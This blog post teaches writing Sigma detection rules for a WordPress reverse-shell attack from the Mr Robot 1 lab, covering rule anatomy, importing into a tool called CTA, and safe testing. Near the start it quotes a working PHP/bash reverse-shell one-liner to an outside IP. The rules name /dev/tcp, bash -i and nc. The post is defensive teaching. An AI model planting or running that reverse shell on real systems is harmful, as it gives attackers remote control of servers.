Friday, October 30, 2026

Writing Your First Sigma Rule: Catching a Web Server Reverse Shell

 Sigma is a plain-text format for describing suspicious behavior in logs and events, and one short Sigma rule can catch an attack on Windows, Linux and macOS alike. This post builds one from scratch, using a real lab walkthrough as the example: the Mr Robot 1 machine, where an attacker pastes a line of PHP into a WordPress theme and gets a reverse shell.

Sigma is to logs what YARA is to files. A YARA rule asks "does this file look malicious?" A Sigma rule asks "does this event look like an attack?", where an event is a process starting, a command line, or a network connection. Because Sigma is an open, vendor-neutral YAML format, a rule you write can be shared with other teams and imported into tools such as Cyber Threat Analyzer (CTA).



By the end you will have a working rule set, know how to import it, and know how to test it safely.

The attack, as an endpoint agent sees it

In the Mr Robot 1 walkthrough, the attacker guesses the WordPress admin password, opens the theme editor and adds one line to the 404 template:

exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.3.2/443 0>&1'");

He then requests a page that does not exist. WordPress runs the template, and the web server connects back to his machine. On the web server, an endpoint agent would record three things:

  1. A process event: the web server (for example apache2) starts /bin/bash with a long command line that contains /dev/tcp/.
  2. A second event, one level down: later commands such as whoami and id, run by the web account www-data.
  3. A network event: bash itself opens an outbound connection to the attacker on port 443.

Each of these is something a Sigma rule can describe. Normal web servers almost never start an interactive shell, which is why these rules can be precise.

Anatomy of a Sigma rule

A Sigma rule is a YAML file with a handful of standard keys:

Key

What it does

title, id, description

The name, a unique ID and a plain-language explanation. These become the alert's name and detail

logsource

What kind of event the rule applies to, such as category: process_creation or network_connection

detection

One or more named blocks (selections) that describe what to match

condition

How the selections combine: and, or, not, 1 of them

level

Severity: informational, low, medium, high or critical. CTA maps it to the alert's severity

tags

MITRE ATT&CK labels such as attack.t1059.004. CTA uses the technique in the alert

falsepositives

What legitimate activity might trigger it, which helps whoever triages the alert

Inside a selection, each line is field|modifier: value. Several values in a list mean "any of these", and several fields in one selection mean "all of these". The modifiers you will use most are contains, startswith, endswith, re (regular expression) and all (every listed value must be present).

CTA supports a practical subset of Sigma. It does not support time-window counting, such as "five failures in one minute", so a rule describes one event at a time.

Building the rule step by step

Rule 1: the command line. The most distinctive thing in the attack is /dev/tcp/ in a command line. We write one selection for it, and a second for the classic bash -i with a redirect:

title: Reverse Shell Command Line
id: 6f1c2a10-cta0-rev1-shell-000000000001
description: A command line that opens an interactive shell over a network socket.
author: CTA
tags:
  - attack.execution
  - attack.t1059.004
logsource:
  category: process_creation
detection:
  bash_tcp:
    CommandLine|contains:
      - '/dev/tcp/'
  interactive_redirect:
    CommandLine|contains|all:
      - 'bash -i'
      - '>&'
  condition: bash_tcp or interactive_redirect
falsepositives:
  - Admin testing with bash /dev/tcp
level: high

The second selection uses |all, so the command line must contain both bash -i and >&. The condition says either selection is enough.

Rule 2: who started the shell. Rule 1 depends on the exact payload. An attacker can change the command and still be running a shell under the web server. So we also describe the relationship: a shell whose parent is a web server, or which runs as a web account.

detection:
  shell:
    Image|endswith:
      - '/sh'
      - '/bash'
      - '/zsh'
  web_parent:
    ParentImage|contains:
      - 'apache2'
      - 'httpd'
      - 'nginx'
      - 'php-fpm'
  web_user:
    SubjectUserName|contains:
      - 'www-data'
      - '_www'
  condition: shell and (web_parent or web_user)

The condition reads: a shell, and either a web-server parent or a web-account user. Rule 2 does not care what the attacker types, only that a web server ended up running a shell. The full file adds the Windows equivalents, cmd.exe, powershell.exe and w3wp.exe.

Rule 3: the network connection. This one uses a different log source. When bash opens /dev/tcp/..., the network collector sees the shell process itself connecting out:

logsource:
  category: network_connection
detection:
  shell_process:
    ProcessName|endswith:
      - '/bash'
      - '/sh'
      - '/nc'
  has_port:
    DestinationPort|re: '^[0-9]+$'
  not_loopback:
    DestinationIp|startswith: '127.'
  condition: shell_process and has_port and not not_loopback

The not removes connections to the machine itself, which are usually harmless. Each rule is useful alone, and together they catch the attack from three angles: what was typed, who ran it, and where it connected.

Field names in CTA, and importing the rules

Sigma rules found online use field names from Sysmon and Windows logs. CTA maps the common ones to its own field names, so most public rules work without editing:

Sigma field

What it means in CTA

Image

The program that started (NewProcessName)

ParentImage

The program that started it (ParentProcessName)

CommandLine

The full command line

SubjectUserName

The user account that ran it

ProcessName, DestinationIp, DestinationPort

Process and remote address on network events

If a field is missing from an event, CTA falls back to searching the whole event text for the value. This makes imported rules looser than a strict Sigma engine, so check the results.

To import the rules

  1. Save the rules as a .yml file. Several rules can share one file, separated by a line containing ---.
  2. In CTA, open Intelligence > Sigma Rules.
  3. Click Import YAML File, or Paste YAML to paste the text directly.
  4. Confirm the status line shows your rules as imported, enabled and currently running.

Imported rules apply right away, with no restart and no code change. They also run on events sent by endpoint agents, so one imported file covers your Windows, Linux and macOS hosts. A match goes through the same whitelisting and correlation as CTA's built-in rules.

Testing it safely

Do not test a detection by attacking a production server. Use two harmless commands on a lab machine that has an endpoint agent.

  • Rule 1 (command line). Run bash -c 'echo test # /dev/tcp/'. It opens no connection. The text /dev/tcp/ only appears in the command line, which is what the rule looks for.
  • Reconnaissance rule (web account). If the host has a www-data user, run sudo -u www-data whoami. A discovery command run by a web account should raise the reconnaissance alert.

Then check the Alerts tab for alerts named after your rule titles. In the lab, you can also run the real Mr Robot payload against a throwaway VM and watch all three rules fire.

If nothing alerts, work backwards

  1. Is the agent online, and is the command visible in Live Events for that host? If not, the collection is the problem, not the rule. On Linux, check that the audit rules are loaded.
  2. If the event is there, check the rule: the condition, the field names, and the exact spelling of your values. Sigma matching ignores case but not typos.
  3. Check the rule is enabled, and was not deleted or disabled by mistake.

Change one thing at a time, and re-test after each change.

Limits and tips

  • False positives. Some web applications run shell commands on purpose, such as backup and image tools. Run the rules in your environment, then add exceptions with not selections rather than loosening the condition.
  • Visibility comes first. A rule can only match events the agent collects. A host without an agent, or without its audit rules loaded, is invisible to Sigma.
  • No counting. CTA's Sigma subset describes single events. Detecting a brute force, such as many failed WordPress logins from one address, needs a different rule type.
  • Attackers adapt. Rule 1 is easy to dodge by changing the payload. Rules 2 and 3 are harder to avoid, because they describe what must happen, not what was typed. Prefer behavior over exact strings.

Sigma and YARA together

The two tools see different moments of the same attack. A YARA rule can flag the edited 404.php file when it is written. A Sigma rule can flag the web server starting a shell when the payload runs. Using both means that if one is evaded, the other still has a chance.

Habits that make Sigma rules better

  1. Give each rule a clear title and description, so the alert makes sense to the next analyst.
  2. Always fill in falsepositives and the ATT&CK tags.
  3. Test with one harmless trigger and one normal activity that must stay quiet.
  4. Keep your rules in version control, and give each rule a stable id.

The best prevention for this attack is a strong password, login rate limiting and define('DISALLOW_FILE_EDIT', true); in wp-config.php. Detection tells you when prevention failed.

No comments:

Post a Comment

Hands-On with CTA ASM/EASM: Practical Techniques, Tips and Tricks for Effective Attack Surface Management

  A practical field guide for SOC analysts, security engineers, vulnerability managers, penetration testers, and cybersecurity consultants I...